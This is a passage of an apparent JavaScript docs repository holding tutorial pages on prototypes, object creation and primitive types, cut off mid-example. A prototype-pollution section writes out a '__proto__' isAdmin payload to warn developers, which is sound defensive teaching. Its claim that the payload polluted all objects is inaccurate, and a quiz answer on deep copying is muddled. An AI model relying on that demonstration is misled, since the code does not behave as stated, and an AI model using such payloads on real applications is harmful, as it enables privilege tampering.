this.name = name\n  this.health = health\n}\n\n// Methods go on the prototype (shared by all instances)\nPlayer.prototype.attack = function() {\n  return `${this.name} attacks!`\n}\n\n// Create instance with 'new'\nconst alice = new Player(\"Alice\", 100)\n\nconsole.log(alice.name)    // \"Alice\"\nconsole.log(alice.attack())  // \"Alice attacks!\"\nconsole.log(alice instanceof Player)  // true\nconsole.log(Object.getPrototypeOf(alice) === Player.prototype)  // true\n```\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│               WHAT new Player(\"Alice\", 100) DOES                         │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  Step 1: Create a new empty object                                       │\n│          const obj = {}                                                  │\n│                                                                          │\n│  Step 2: Link the object's prototype to Constructor.prototype            │\n│          Object.setPrototypeOf(obj, Player.prototype)                    │\n│                                                                          │\n│  Step 3: Run the constructor with 'this' bound to the new object         │\n│          Player.call(obj, \"Alice\", 100)                                  │\n│          // Now obj.name = \"Alice\", obj.health = 100                     │\n│                                                                          │\n│  Step 4: Return the object (unless constructor returns an object)        │\n│          return obj                                                      │\n│                                                                          │\n│  ─────────────────────────────────────────────────────────────────────   │\n│                                                                          │\n│  RESULT:                                                                 │\n│                                                                          │\n│     Player.prototype                                                     │\n│     ┌─────────────────────┐                                              │\n│     │ attack: function()  │◄───── Shared by all instances                │\n│     │ constructor: Player │                                              │\n│     └─────────────────────┘                                              │\n│              ▲                                                           │\n│              │ [[Prototype]]                                             │\n│              │                                                           │\n│     ┌────────┴────────┐                                                  │\n│     │      alice      │                                                  │\n│     │─────────────────│                                                  │\n│     │ name: \"Alice\"   │                                                  │\n│     │ health: 100     │                                                  │\n│     └─────────────────┘                                                  │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n#### Simulating `new`\n\nHere's a function that does what `new` does:\n\n```javascript\nfunction myNew(Constructor, ...args) {\n  // Steps 1 & 2: Create object with correct prototype\n  const obj = Object.create(Constructor.prototype)\n  \n  // Step 3: Run constructor with 'this' = obj\n  const result = Constructor.apply(obj, args)\n  \n  // Step 4: Return result if it's a non-primitive, otherwise return obj\n  // Note: Functions are also objects, so constructors returning functions\n  // will override the default return as well\n  return (result !== null && typeof result === 'object') ? result : obj\n}\n\n// These do the same thing:\nconst player1 = new Player(\"Alice\", 100)\nconst player2 = myNew(Player, \"Bob\", 100)\n\nconsole.log(player1 instanceof Player)  // true\nconsole.log(player2 instanceof Player)  // true\n```\n\n<Note>\n**Edge case:** If a constructor returns a function, that function is returned instead of the new object (since functions are objects in JavaScript). This is rare in practice but technically allowed by the spec.\n</Note>\n\n<Warning>\n**Don't forget `new`!** Without it, `this` in a constructor refers to the global object (or `undefined` in strict mode), causing bugs. ES6 classes throw an error if you forget `new`, which is safer.\n</Warning>\n\n### 4. Object.assign() — Copy Properties\n\n[`Object.assign()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/assign) copies enumerable own properties from source objects to a target:\n\n```javascript\n// Basic usage: copy properties to target\nconst target = { a: 1 }\nconst source = { b: 2, c: 3 }\n\nconst result = Object.assign(target, source)\n\nconsole.log(result)  // { a: 1, b: 2, c: 3 }\nconsole.log(target)  // { a: 1, b: 2, c: 3 } — target is modified!\nconsole.log(result === target)  // true — returns the target\n```\n\n#### Merging Multiple Objects\n\n```javascript\nconst defaults = { theme: \"light\", fontSize: 14, showSidebar: true }\nconst userPrefs = { theme: \"dark\", fontSize: 16 }\nconst sessionOverrides = { fontSize: 18 }\n\n// Later sources overwrite earlier ones\nconst settings = Object.assign({}, defaults, userPrefs, sessionOverrides)\n\nconsole.log(settings)\n// { theme: \"dark\", fontSize: 18, showSidebar: true }\n\n// Original objects are unchanged (because we used {} as target)\nconsole.log(defaults.fontSize)  // 14\n```\n\n#### Cloning Objects (Shallow)\n\n```javascript\nconst original = { name: \"Alice\", scores: [90, 85, 92] }\n\n// Shallow clone\nconst clone = Object.assign({}, original)\n\nclone.name = \"Bob\"\nconsole.log(original.name)  // \"Alice\" — primitive copied by value\n\nclone.scores.push(100)\nconsole.log(original.scores)  // [90, 85, 92, 100] — array shared!\n```\n\n<Warning>\n**`Object.assign()` performs a shallow copy!** Nested objects and arrays are copied by reference, not cloned. For deep cloning, use `structuredClone()` or a library like Lodash.\n\n```javascript\n// Deep clone with structuredClone (modern browsers)\nconst deepClone = structuredClone(original)\ndeepClone.scores.push(100)\nconsole.log(original.scores)  // [90, 85, 92] — unchanged!\n```\n</Warning>\n\n#### Object.assign() Only Copies Own, Enumerable Properties\n\n```javascript\nconst proto = { inherited: \"from prototype\" }\nconst source = Object.create(proto)\nsource.own = \"my own property\"\n\nObject.defineProperty(source, \"hidden\", {\n  value: \"non-enumerable\",\n  enumerable: false\n})\n\nconst target = {}\nObject.assign(target, source)\n\nconsole.log(target.own)        // \"my own property\" — copied\nconsole.log(target.inherited)  // undefined — NOT copied (inherited)\nconsole.log(target.hidden)     // undefined — NOT copied (non-enumerable)\n```\n\n---\n\n## Inspecting and Modifying Prototypes\n\nJavaScript provides methods to work with prototypes:\n\n### Object.getPrototypeOf() — Read the Prototype\n\n```javascript\nconst player = { name: \"Alice\" }\n\n// Get the prototype\nconst proto = Object.getPrototypeOf(player)\nconsole.log(proto === Object.prototype)  // true\n\n// Works with any object\nfunction Game() {}\nconst game = new Game()\nconsole.log(Object.getPrototypeOf(game) === Game.prototype)  // true\n\n// End of the chain\nconsole.log(Object.getPrototypeOf(Object.prototype))  // null\n```\n\n### Object.setPrototypeOf() — Change the Prototype\n\n[`Object.setPrototypeOf()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf) changes an object's prototype after creation:\n\n```javascript\nconst swimmer = {\n  swim() { return `${this.name} swims!` }\n}\n\nconst flyer = {\n  fly() { return `${this.name} flies!` }\n}\n\nconst duck = { name: \"Donald\" }\n\n// Start as a swimmer\nObject.setPrototypeOf(duck, swimmer)\nconsole.log(duck.swim())  // \"Donald swims!\"\n\n// Change to a flyer\nObject.setPrototypeOf(duck, flyer)\nconsole.log(duck.fly())   // \"Donald flies!\"\n// console.log(duck.swim())  // TypeError: duck.swim is not a function\n```\n\n<Warning>\n**Avoid `Object.setPrototypeOf()` in performance-critical code!** Changing an object's prototype after creation is slow and can deoptimize your code. Set the prototype correctly at creation time with `Object.create()` instead.\n</Warning>\n\n### instanceof — Check the Prototype Chain\n\nThe [`instanceof`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/instanceof) operator checks if `Constructor.prototype` exists in the object's prototype chain:\n\n```javascript\nfunction Animal(name) {\n  this.name = name\n}\n\nfunction Dog(name, breed) {\n  Animal.call(this, name)\n  this.breed = breed\n}\n\n// Set up inheritance\nDog.prototype = Object.create(Animal.prototype)\nDog.prototype.constructor = Dog\n\nconst rex = new Dog(\"Rex\", \"German Shepherd\")\n\nconsole.log(rex instanceof Dog)     // true\nconsole.log(rex instanceof Animal)  // true\nconsole.log(rex instanceof Object)  // true\nconsole.log(rex instanceof Array)   // false\n```\n\n### isPrototypeOf() — Check if Object is in Chain\n\n```javascript\nconst animal = { eats: true }\nconst dog = Object.create(animal)\ndog.barks = true\n\nconsole.log(animal.isPrototypeOf(dog))  // true\nconsole.log(Object.prototype.isPrototypeOf(dog))  // true\nconsole.log(Array.prototype.isPrototypeOf(dog))   // false\n```\n\n---\n\n## Common Prototype Methods\n\nThese methods help you work with object properties and prototypes:\n\n### hasOwnProperty() — Check Own Properties\n\n```javascript\nconst proto = { inherited: true }\nconst obj = Object.create(proto)\nobj.own = true\n\n// hasOwnProperty checks ONLY the object, not the chain\nconsole.log(obj.hasOwnProperty(\"own\"))        // true\nconsole.log(obj.hasOwnProperty(\"inherited\"))  // false\n\n// 'in' operator checks the whole chain\nconsole.log(\"own\" in obj)        // true\nconsole.log(\"inherited\" in obj)  // true\n```\n\n<Tip>\n**Modern alternative: `Object.hasOwn()`** (ES2022+)\n\nUse [`Object.hasOwn()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwn) instead of `hasOwnProperty()`. It's safer because it works on objects with a `null` prototype and can't be shadowed:\n\n```javascript\n// hasOwnProperty can be shadowed or unavailable\nconst nullProto = Object.create(null)\nnullProto.key = \"value\"\n// nullProto.hasOwnProperty(\"key\")  // TypeError: not a function\n\n// Object.hasOwn always works\nObject.hasOwn(nullProto, \"key\")  // true\n```\n</Tip>\n\n### Object.keys() vs for...in\n\n```javascript\nconst proto = { inherited: \"value\" }\nconst obj = Object.create(proto)\nobj.own1 = \"a\"\nobj.own2 = \"b\"\n\n// Object.keys() — only own enumerable properties\nconsole.log(Object.keys(obj))  // [\"own1\", \"own2\"]\n\n// for...in — own AND inherited enumerable properties\nfor (const key in obj) {\n  console.log(key)  // \"own1\", \"own2\", \"inherited\"\n}\n\n// Filter for...in to only own properties\nfor (const key in obj) {\n  if (obj.hasOwnProperty(key)) {\n    console.log(key)  // \"own1\", \"own2\"\n  }\n}\n```\n\n### Object.getOwnPropertyNames() — All Own Properties\n\n```javascript\nconst obj = { visible: true }\nObject.defineProperty(obj, \"hidden\", {\n  value: \"secret\",\n  enumerable: false\n})\n\n// Object.keys() — only enumerable\nconsole.log(Object.keys(obj))  // [\"visible\"]\n\n// Object.getOwnPropertyNames() — all own properties\nconsole.log(Object.getOwnPropertyNames(obj))  // [\"visible\", \"hidden\"]\n```\n\n### Summary Table\n\n| Method | Own? | Enumerable? | Inherited? |\n|--------|------|-------------|------------|\n| `obj.hasOwnProperty(key)` | Yes | Both | No |\n| `key in obj` | Yes | Both | Yes |\n| `Object.keys(obj)` | Yes | Yes only | No |\n| `Object.getOwnPropertyNames(obj)` | Yes | Both | No |\n| `for...in` | Yes | Yes only | Yes |\n\n---\n\n## The Prototype Pitfall: Common Mistakes\n\n### Mistake 1: Modifying Object.prototype\n\n```javascript\n// ❌ NEVER do this!\nObject.prototype.greet = function() {\n  return \"Hello!\"\n}\n\n// Now EVERY object has greet()\nconst player = { name: \"Alice\" }\nconst numbers = [1, 2, 3]\nconst date = new Date()\n\nconsole.log(player.greet())   // \"Hello!\"\nconsole.log(numbers.greet())  // \"Hello!\"\nconsole.log(date.greet())     // \"Hello!\"\n\n// This can break for...in loops\nfor (const key in player) {\n  console.log(key)  // \"name\", \"greet\" — greet shows up!\n}\n\n// And cause conflicts with libraries\n```\n\n<Warning>\n**Never modify `Object.prototype`!** It affects every object in your application and can break third-party code. If you need to add methods to all objects of a type, create your own constructor or class.\n</Warning>\n\n### Mistake 2: Confusing `.prototype` with `[[Prototype]]`\n\n```javascript\nfunction Player(name) {\n  this.name = name\n}\n\nconst alice = new Player(\"Alice\")\n\n// ❌ WRONG — instances don't have .prototype\nconsole.log(alice.prototype)  // undefined\n\n// ✓ CORRECT — use Object.getPrototypeOf()\nconsole.log(Object.getPrototypeOf(alice) === Player.prototype)  // true\n\n// .prototype is ONLY on functions\nconsole.log(Player.prototype)  // { constructor: Player }\n```\n\n### Mistake 3: Prototype Pollution\n\n[Prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution) occurs when attackers can modify `Object.prototype`, affecting all objects. This is a real security vulnerability:\n\n```javascript\n// ❌ DANGEROUS - merging untrusted data can pollute prototypes\nconst maliciousPayload = JSON.parse('{\"__proto__\": {\"isAdmin\": true}}')\n\nconst user = {}\nObject.assign(user, maliciousPayload)  // Pollution via Object.assign!\n\n// Now ALL objects have isAdmin!\nconst anotherUser = {}\nconsole.log(anotherUser.isAdmin)  // true - polluted!\n\n// ✓ SAFER - use null prototype objects for dictionaries\nconst safeDict = Object.create(null)\nsafeDict[\"__proto__\"] = \"safe\"  // Just a regular property, no pollution\n\n// ✓ SAFEST - use Map for key-value storage with untrusted keys\nconst map = new Map()\nmap.set(\"__proto__\", \"value\")  // Completely safe\n```\n\n<Warning>\n**Prototype pollution attacks** can occur through `Object.assign()`, object spread (`{...obj}`), deep merge utilities, and JSON parsing. Always sanitize untrusted input and consider using `Object.create(null)` or `Map` for user-controlled keys.\n</Warning>\n\n### Mistake 4: Shared Reference on Prototype\n\n```javascript\n// ❌ WRONG — array on prototype is shared by all instances\nfunction Player(name) {\n  this.name = name\n}\nPlayer.prototype.inventory = []  // Shared by ALL players!\n\nconst alice = new Player(\"Alice\")\nconst bob = new Player(\"Bob\")\n\nalice.inventory.push(\"sword\")\nconsole.log(bob.inventory)  // [\"sword\"] — Bob has Alice's sword!\n\n// ✓ CORRECT — initialize arrays in constructor\nfunction Player(name) {\n  this.name = name\n  this.inventory = []  // Each player gets their own array\n}\n```\n\n---\n\n## Key Takeaways\n\n<Info>\n**Key things to remember about prototypes and object creation:**\n\n1. **Every object has a prototype** — a hidden link (`[[Prototype]]`) to another object, forming a chain that ends at `null`\n\n2. **Property lookup walks the chain** — JavaScript searches the object first, then its prototype, then the prototype's prototype, and so on\n\n3. **`[[Prototype]]` vs `.prototype`** — `[[Prototype]]` is the internal link every object has; `.prototype` is a property on functions used with `new`\n\n4. **Use `Object.getPrototypeOf()`** — not `__proto__`, which is deprecated\n\n5. **`Object.create(proto)`** — creates an object with a specific prototype; pass `null` for no prototype\n\n6. **The `new` operator does 4 things** — creates object, links prototype, runs constructor with `this`, returns the object\n\n7. **`Object.assign()` is shallow** — nested objects are copied by reference, not cloned\n\n8. **`hasOwnProperty()` vs `in`** — `hasOwnProperty` checks only the object; `in` checks the whole prototype chain\n\n9. **Never modify `Object.prototype`** — it affects all objects and can break code\n\n10. **Put methods on the prototype** — for memory efficiency, don't define methods in the constructor\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What is the prototype chain and how does property lookup work?\">\n    **Answer:**\n    \n    The prototype chain is JavaScript's inheritance mechanism. Every object has a `[[Prototype]]` link to another object (its prototype).\n    \n    When you access a property:\n    1. JavaScript looks for it on the object itself\n    2. If not found, looks on the object's prototype\n    3. Continues up the chain until found or `null` is reached\n    \n    ```javascript\n    const parent = { greet: \"Hello\" }\n    const child = Object.create(parent)\n    \n    console.log(child.greet)  // \"Hello\" — found on prototype\n    console.log(child.missing)  // undefined — not found anywhere\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 2: What's the difference between [[Prototype]], __proto__, and .prototype?\">\n    **Answer:**\n    \n    - **`[[Prototype]]`**: The internal slot every object has, pointing to its prototype. Not directly accessible.\n    \n    - **`__proto__`**: A deprecated getter/setter that exposes `[[Prototype]]`. Use `Object.getPrototypeOf()` instead.\n    \n    - **`.prototype`**: A property that exists **only on functions**. When you use `new`, the created object's `[[Prototype]]` is set to this value.\n    \n    ```javascript\n    function Foo() {}\n    const f = new Foo()\n    \n    // f's [[Prototype]] is Foo.prototype\n    Object.getPrototypeOf(f) === Foo.prototype  // true\n    \n    // Foo is a function, so it has .prototype\n    Foo.prototype  // { constructor: Foo }\n    \n    // f is NOT a function, so it has no .prototype\n    f.prototype  // undefined\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 3: What are the 4 steps the new keyword performs?\">\n    **Answer:**\n    \n    When you call `new Constructor(args)`:\n    \n    1. **Create** a new empty object `{}`\n    2. **Link** the object's `[[Prototype]]` to `Constructor.prototype`\n    3. **Execute** the constructor with `this` bound to the new object\n    4. **Return** the object (unless the constructor returns a different object)\n    \n    ```javascript\n    function myNew(Constructor, ...args) {\n      const obj = Object.create(Constructor.prototype)  // Steps 1-2\n      const result = Constructor.apply(obj, args)       // Step 3\n      return (typeof result === 'object' && result !== null) ? result : obj  // Step 4\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 4: How does Object.create() differ from using new?\">\n    **Answer:**\n    \n    - **`Object.create(proto)`** creates an object with the specified object as its prototype. It doesn't call any constructor.\n    \n    - **`new Constructor()`** creates an object with `Constructor.prototype` as its prototype AND runs the constructor function.\n    \n    ```javascript\n    const proto = { greet() { return \"Hi!\" } }\n    \n    // Object.create — just links the prototype\n    const obj1 = Object.create(proto)\n    \n    // new — links prototype AND runs constructor\n    function MyClass() {\n      this.initialized = true\n    }\n    MyClass.prototype = proto\n    \n    const obj2 = new MyClass()\n    console.log(obj2.initialized)  // true (constructor ran)\n    console.log(obj1.initialized)  // undefined (no constructor)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 5: Why should you avoid modifying Object.prototype?\">\n    **Answer:**\n    \n    Modifying `Object.prototype` affects **every object** in your application because all objects inherit from it. This can:\n    \n    1. Break `for...in` loops (new properties show up)\n    2. Conflict with third-party libraries\n    3. Cause unexpected behavior throughout your codebase\n    \n    ```javascript\n    // ❌ BAD\n    Object.prototype.bad = \"affects everything\"\n    \n    const obj = {}\n    for (const key in obj) {\n      console.log(key)  // \"bad\" — unexpected!\n    }\n    ```\n    \n    Instead, create your own constructors/classes or use composition.\n  </Accordion>\n  \n  <Accordion title=\"Question 6: What's the difference between Object.assign() shallow copy and deep copy?\">\n    **Answer:**\n    \n    **Shallow copy**: Copies the top-level properties. Nested objects/arrays are copied by reference (they point to the same data).\n    \n    **Deep copy**: Recursively copies all levels. Nested objects/arrays are fully cloned.\n    \n    ```javascript\n    const original = { \n      name: \"Alice\",\n      scores: [90, 85]  // nested array\n    }\n    \n    // Shallow copy with Object.assign\n    const shallow = Object.assign({}, original)\n    shallow.scores.push(100)\n    console.log(original.scores)  // [90, 85, 100] — modified!\n    \n    // Deep copy with structuredClone\n    const deep = structuredClone(original)\n    deep.scores.push(100)\n    console.log(original.scores)  // [90, 85, 100] — still modified from before\n    // But if we had deep copied first, original would be unchanged\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is the prototype chain in JavaScript?\">\n    The prototype chain is JavaScript's inheritance mechanism. Every object has an internal `[[Prototype]]` link to another object. When you access a property, JavaScript looks on the object first, then follows the chain of prototypes until it finds the property or reaches `null`. As described in the ECMAScript specification, this delegation model is what powers all object inheritance in JavaScript.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between __proto__ and prototype?\">\n    `__proto__` is an accessor property on every object that points to its prototype (the object it inherits from). `.prototype` is a property on constructor functions that becomes the `__proto__` of objects created with `new`. According to MDN, `__proto__` is a legacy feature — use `Object.getPrototypeOf()` and `Object.setPrototypeOf()` instead.\n  </Accordion>\n\n  <Accordion title=\"How does Object.create() work?\">\n    `Object.create(proto)` creates a new object with its `[[Prototype]]` set to the specified object. Unlike `new`, it does not call a constructor function. This gives you direct control over the prototype chain. It is the cleanest way to set up prototypal inheritance without the complexity of constructor functions.\n  </Accordion>\n\n  <Accordion title=\"What does the new operator do in JavaScript?\">\n    The `new` operator performs four steps: creates an empty object, sets the object's `[[Prototype]]` to the constructor's `.prototype`, calls the constructor with `this` bound to the new object, and returns the object. If the constructor explicitly returns an object, that object is returned instead. This is how both constructor functions and classes create instances.\n  </Accordion>\n\n  <Accordion title=\"What is prototypal inheritance and how is it different from classical inheritance?\">\n    In prototypal inheritance, objects inherit directly from other objects through the prototype chain. In classical inheritance (Java, C++), classes define blueprints and instances are created from those blueprints. JavaScript uses prototypal delegation, meaning an object delegates property lookups to its prototype. The `class` syntax in ES6 is syntactic sugar over this prototype-based model.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Factories and Classes\" icon=\"industry\" href=\"/concepts/factories-classes\">\n    Learn different patterns for creating objects using factories and ES6 classes\n  </Card>\n  <Card title=\"this, call, apply, bind\" icon=\"hand-pointer\" href=\"/concepts/this-call-apply-bind\">\n    Understand how `this` binding works, which is crucial when working with constructors\n  </Card>\n  <Card title=\"Inheritance and Polymorphism\" icon=\"sitemap\" href=\"/concepts/inheritance-polymorphism\">\n    Explore advanced inheritance patterns and polymorphism in JavaScript\n  </Card>\n  <Card title=\"Primitives vs Objects\" icon=\"copy\" href=\"/concepts/primitives-objects\">\n    Understand the difference between primitives and objects, key background for prototypes\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Inheritance and the Prototype Chain — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain\">\n    Comprehensive MDN guide to JavaScript's prototype-based inheritance\n  </Card>\n  <Card title=\"Object.create() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create\">\n    Official documentation on creating objects with specific prototypes\n  </Card>\n  <Card title=\"Object.assign() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/assign\">\n    How to copy properties between objects\n  </Card>\n  <Card title=\"new operator — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new\">\n    What happens when you use the new keyword\n  </Card>\n  <Card title=\"Object.getPrototypeOf() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf\">\n    How to read an object's prototype\n  </Card>\n  <Card title=\"instanceof — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/instanceof\">\n    Checking prototype chain membership\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"A Beginner's Guide to JavaScript's Prototype\" icon=\"newspaper\" href=\"https://www.freecodecamp.org/news/a-beginners-guide-to-javascripts-prototype/\">\n    Uses a \"meal recipe\" analogy that makes prototype inheritance click for visual learners. The step-by-step diagrams showing object relationships are particularly helpful.\n  </Card>\n  <Card title=\"Understanding Prototypes in JavaScript\" icon=\"newspaper\" href=\"https://www.digitalocean.com/community/tutorials/understanding-prototypes-and-inheritance-in-javascript\">\n    Walks through building a full inheritance hierarchy from scratch with runnable examples. Great for developers who learn by building rather than reading theory.\n  </Card>\n  <Card title=\"Object-Oriented JavaScript\" icon=\"newspaper\" href=\"https://developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects\">\n    MDN's learning path covering object basics, prototypes, and classes. Includes hands-on exercises and a practical project to solidify your understanding.\n  </Card>\n  <Card title=\"The Prototype Chain Explained\" icon=\"newspaper\" href=\"https://javascript.info/prototype-inheritance\">\n    Includes interactive code examples you can edit and run in the browser. The \"tasks\" section at the end tests your understanding with practical challenges.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Prototypes Explained\" icon=\"video\" href=\"https://www.youtube.com/watch?v=riDVvXZ_Kb4\">\n    MPJ's signature whiteboard diagrams make the prototype chain visible and intuitive. His \"delegation, not copying\" explanation is how prototypes finally click for many developers.\n  </Card>\n  <Card title=\"Object.create and Prototypes\" icon=\"video\" href=\"https://www.youtube.com/watch?v=MACDGu96wrA\">\n    Kyle Simpson (author of \"You Don't Know JS\") challenges common misconceptions about prototypes. His \"behavior delegation\" framing offers a clearer mental model than classical inheritance.\n  </Card>\n  <Card title=\"The new Keyword Explained\" icon=\"video\" href=\"https://www.youtube.com/watch?v=Y3zzCY62NYc\">\n    Steps through each of the 4 things `new` does with live code demonstrations. Shows exactly what happens to `this` and prototype links during object construction.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/primitive-types.mdx",
    "content": "---\ntitle: \"Primitive Types\"\nsidebarTitle: \"Primitive Types: Building Blocks of Data\"\ndescription: \"Learn JavaScript's 7 primitive types: string, number, bigint, boolean, undefined, null, and symbol. Understand immutability, typeof quirks, and autoboxing.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"JavaScript Fundamentals\"\n\"article:tag\": \"javascript primitive types, js data types, typeof javascript, string number boolean, javascript undefined null, symbol bigint\"\n---\n\nWhat's the difference between `\"hello\"` and `{ text: \"hello\" }`? Why can you call `\"hello\".toUpperCase()` if strings aren't objects? And why does `typeof null` return `\"object\"`?\n\n```javascript\n// JavaScript has exactly 7 primitive types\nconst str = \"hello\";           // string\nconst num = 42;                // number\nconst big = 9007199254740993n; // bigint\nconst bool = true;             // boolean\nconst undef = undefined;       // undefined\nconst nul = null;              // null\nconst sym = Symbol(\"id\");      // symbol\n\nconsole.log(typeof str);   // \"string\"\nconsole.log(typeof num);   // \"number\"\nconsole.log(typeof nul);   // \"object\" — Wait, what?!\n```\n\nThese seven **[primitive](https://developer.mozilla.org/en-US/docs/Glossary/Primitive)** types are the foundation of all data in JavaScript. Unlike objects, primitives are **immutable** (unchangeable) and **compared by value**. Every complex structure you build (arrays, objects, classes) ultimately relies on these simple building blocks.\n\n<Info>\n**What you'll learn in this guide:**\n- The 7 primitive types in JavaScript and when to use each\n- How `typeof` works (and its famous quirks)\n- Why primitives are \"immutable\" and what that means\n- The magic of autoboxing — how `\"hello\".toUpperCase()` works\n- The difference between `null` and `undefined`\n- Common mistakes to avoid with primitives\n- Famous JavaScript gotchas every developer should know\n</Info>\n\n<Note>\n**New to JavaScript?** This guide is beginner-friendly! No prior knowledge required. We'll explain everything from the ground up.\n</Note>\n\n---\n\n## What Are Primitive Types?\n\nIn JavaScript, a **primitive** is data that is not an object and has no methods of its own. As defined by the ECMAScript 2024 specification (ECMA-262), JavaScript has exactly **7 primitive types**:\n\n| Type | Example | Description |\n|------|---------|-------------|\n| `string` | `\"hello\"` | Text data |\n| `number` | `42`, `3.14` | Numeric data (integers and decimals) |\n| `bigint` | `9007199254740993n` | Very large integers |\n| `boolean` | `true`, `false` | Logical values |\n| `undefined` | `undefined` | No value assigned |\n| `null` | `null` | Intentional absence of value |\n| `symbol` | `Symbol(\"id\")` | Unique identifier |\n\n### Three Key Characteristics\n\nAll primitives share these fundamental traits:\n\n<AccordionGroup>\n  <Accordion title=\"1. Immutable - Values Cannot Be Changed\">\n    Once a primitive value is created, it cannot be altered. When you \"change\" a string, you're actually creating a new string.\n    \n    ```javascript\n    let name = \"Alice\";\n    name.toUpperCase();    // Creates \"ALICE\" but doesn't change 'name'\n    console.log(name);     // Still \"Alice\"\n    ```\n  </Accordion>\n  \n  <Accordion title=\"2. Compared By Value\">\n    When you compare two primitives, JavaScript compares their actual values, not where they're stored in memory.\n    \n    ```javascript\n    let a = \"hello\";\n    let b = \"hello\";\n    console.log(a === b);  // true - same value\n    \n    let obj1 = { text: \"hello\" };\n    let obj2 = { text: \"hello\" };\n    console.log(obj1 === obj2);  // false - different objects!\n    ```\n  </Accordion>\n  \n  <Accordion title=\"3. No Methods (But Autoboxing Magic)\">\n    Primitives don't have methods, but JavaScript automatically wraps them in objects when you try to call methods. This is called \"autoboxing.\"\n    \n    ```javascript\n    \"hello\".toUpperCase();  // Works! JS wraps \"hello\" in a String object\n    ```\n    \n    We'll explore this magic in detail later.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## The Atoms vs Molecules Analogy\n\nThink of data in JavaScript like chemistry class (but way more fun, and no lab goggles required). **Primitives** are like atoms: the fundamental, indivisible building blocks that cannot be broken down further. **Objects** are like molecules: complex structures made up of multiple atoms combined together.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                     PRIMITIVES VS OBJECTS                                │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   PRIMITIVES (Atoms)                    OBJECTS (Molecules)              │\n│                                                                          │\n│   ┌───┐  ┌─────┐  ┌──────┐             ┌────────────────────────────┐   │\n│   │ 5 │  │\"hi\" │  │ true │             │ { name: \"Alice\", age: 25 } │   │\n│   └───┘  └─────┘  └──────┘             └────────────────────────────┘   │\n│                                                                          │\n│   • Simple, indivisible                 • Complex, contains values       │\n│   • Stored directly                     • Stored as reference            │\n│   • Compared by value                   • Compared by reference          │\n│   • Immutable                           • Mutable                        │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nJust like atoms are the foundation of all matter, primitives are the foundation of all data in JavaScript. Every complex data structure you create — arrays, objects, functions — is ultimately built on top of these simple primitive values.\n\n---\n\n## The 7 Primitive Types: Deep Dive\n\nLet's explore each primitive type in detail.\n\n---\n\n### String\n\nA **[string](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String)** represents text data: a sequence of characters.\n\n```javascript\n// Three ways to create strings\nlet single = 'Hello';           // Single quotes\nlet double = \"World\";           // Double quotes\nlet backtick = `Hello World`;   // Template literal (ES6)\n```\n\n#### Template Literals (Still Just Strings!)\n\n[Template literals](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals) (backticks) are **not a separate type**. They're just a more powerful syntax for creating strings. The result is still a regular string primitive:\n\n```javascript\nlet name = \"Alice\";\nlet age = 25;\n\n// String interpolation - embed expressions\nlet greeting = `Hello, ${name}! You are ${age} years old.`;\nconsole.log(greeting);        // \"Hello, Alice! You are 25 years old.\"\nconsole.log(typeof greeting); // \"string\" — it's just a string!\n\n// Multi-line strings\nlet multiLine = `\n  This is line 1\n  This is line 2\n`;\nconsole.log(typeof multiLine); // \"string\"\n```\n\n#### Strings Are Immutable\n\nYou cannot change individual characters in a string:\n\n```javascript\nlet str = \"hello\";\nstr[0] = \"H\";        // Does nothing! No error, but no change\nconsole.log(str);    // Still \"hello\"\n\n// To \"change\" a string, create a new one\nstr = \"H\" + str.slice(1);\nconsole.log(str);    // \"Hello\"\n```\n\n<Tip>\nString methods like `toUpperCase()`, `slice()`, `replace()` always return **new strings**. They never modify the original.\n</Tip>\n\n---\n\n### Number\n\nJavaScript has only **one [number](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number) type** for both integers and decimals. All numbers are stored as 64-bit floating-point (a standard way computers store decimals).\n\n```javascript\nlet integer = 42;        // 